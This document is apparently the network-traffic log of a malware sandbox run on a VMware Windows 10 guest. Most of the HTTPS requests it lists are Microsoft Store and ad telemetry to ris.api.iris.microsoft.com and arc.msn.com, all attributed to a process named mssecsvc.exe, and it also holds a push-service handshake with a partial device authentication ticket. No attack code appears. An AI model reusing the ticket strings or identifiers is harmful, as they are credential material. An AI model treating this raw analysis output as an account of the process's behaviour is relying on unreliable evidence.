2022-07-21 02:36:05 UTC	9507	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a7d24c55-44f7-4b3b-87b8-c01931c55edf Date: Thu, 21 Jul 2022 02:36:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	53696	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:06 UTC	9507	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113543Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:06 UTC	9508	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ed3f7c8c-c2bd-4556-b9c2-9493d778689b Date: Thu, 21 Jul 2022 02:36:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	53700	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:06 UTC	9508	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113544Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:06 UTC	9509	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2835c436-2472-4684-a8f3-2f89b9ba335f Date: Thu, 21 Jul 2022 02:36:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	53715	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:06 UTC	9509	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113545Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:06 UTC	9509	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 21fcdb18-53d5-408c-a93d-a3896a4fa391 Date: Thu, 21 Jul 2022 02:36:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	53765	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:07 UTC	9510	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113545Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:07 UTC	9510	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 81107710-021c-422b-8fb1-43fd247b62a6 Date: Thu, 21 Jul 2022 02:36:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	53768	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:07 UTC	9510	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113546Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:07 UTC	9511	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d67f1cdf-b790-445d-8829-2d81654f7248 Date: Thu, 21 Jul 2022 02:36:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	53785	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:07 UTC	9511	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113551Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:07 UTC	9512	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a45b9e12-00f0-4c8c-b283-9a7c1082dd52 Date: Thu, 21 Jul 2022 02:36:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	53832	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:08 UTC	9512	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113552Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:08 UTC	9512	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2adc818d-d150-4426-a33d-425f8f229a07 Date: Thu, 21 Jul 2022 02:36:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	53836	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:11 UTC	9513	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113553Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:11 UTC	9513	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 40fc5144-c7ac-4533-b9a9-9dcaab566c55 Date: Thu, 21 Jul 2022 02:36:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	53966	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:12 UTC	9513	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113554Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:12 UTC	9514	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: fcfab681-17a8-42ca-8a32-a518cc37458d Date: Thu, 21 Jul 2022 02:36:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	50204	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:22 UTC	121	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113410Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=533837d7b9db436c81422221e85298bc&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-280815&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: 1nTo+xcROEaHgBk5.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:34:22 UTC	122	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2853 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: nfmqc8NT8RjR5SHv64F30SuFsGfEj7wlxtqlq+1sG4gq3H/a0AVMpwKQ/ksNFnP6qZ2oMIkaGRVQGZdLY2TEp3Nvuyz1SF7Oxc0nwpgtqUChx3YQWIFMiMixxz0cRVHOZRcnOi2p5qd2cr1QLtgbXK3TbgLUyURz7fldKwB6Y5PCcYTkbosiNODKRHkPbm+hInY+0f8U5bW0pqmSaF6+B6XD89NGT2LClUGH0eO4Tdc3DtM+hsEmdinxghZbylDd4m6tKYWGVu+ptSmn5wEoPGTJXSw3kwApJ2SG+Snup4217Jotp7SaqKw+xEktwi20UMHR7WFfwzUViBUzGa8btw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close
2022-07-21 02:34:22 UTC	123	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	53967	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:12 UTC	9514	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113555Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:12 UTC	9515	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 22ad576f-70bf-40fe-8bdd-f8519f8ccda0 Date: Thu, 21 Jul 2022 02:36:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	53969	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:12 UTC	9515	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113556Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:12 UTC	9515	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a22c37bf-6562-4005-92a3-24be880cd03f Date: Thu, 21 Jul 2022 02:36:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	54034	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:12 UTC	9516	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113557Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:13 UTC	9516	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a4981950-7191-4caa-8d44-fbc6c99efb67 Date: Thu, 21 Jul 2022 02:36:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	54035	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:13 UTC	9516	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113559Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:13 UTC	9517	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: eee86b71-6fe4-4e6e-a018-038e19340626 Date: Thu, 21 Jul 2022 02:36:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	54036	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:13 UTC	9517	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113600Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:13 UTC	9518	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 426786f2-48a6-4ab8-85bd-1dd6378ee928 Date: Thu, 21 Jul 2022 02:36:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	54097	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:14 UTC	9518	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113601Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:14 UTC	9519	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: cc3d115f-fac6-4d8b-8b16-bc8efd9376c1 Date: Thu, 21 Jul 2022 02:36:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	54104	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:14 UTC	9519	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113601Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:14 UTC	9519	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 34d6c294-3e00-44cf-ab2d-f418ffbba7df Date: Thu, 21 Jul 2022 02:36:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	54105	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:14 UTC	9519	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113602Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:14 UTC	9520	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ec7f4e62-73c2-4613-8bb4-9711166acdaa Date: Thu, 21 Jul 2022 02:36:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	54517	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:20 UTC	9520	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 38 30 33 31 33 36 37 37 65 38 35 61 66 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: b880313677e85afc
2022-07-21 02:36:20 UTC	9520	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:36:20 UTC	9520	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 38 30 33 31 33 36 37 37 65 38 35 61 66 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: b880313677e85afc<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:36:20 UTC	9521	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 38 30 33 31 33 36 37 37 65 38 35 61 66 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: b880313677e85afc
2022-07-21 02:36:20 UTC	9522	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:36:20 UTC	9522	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 2f 58 30 72 74 4a 4d 6b 45 71 78 6c 48 65 69 37 6d 58 43 2f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: b/X0rtJMkEqxlHei7mXC/Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
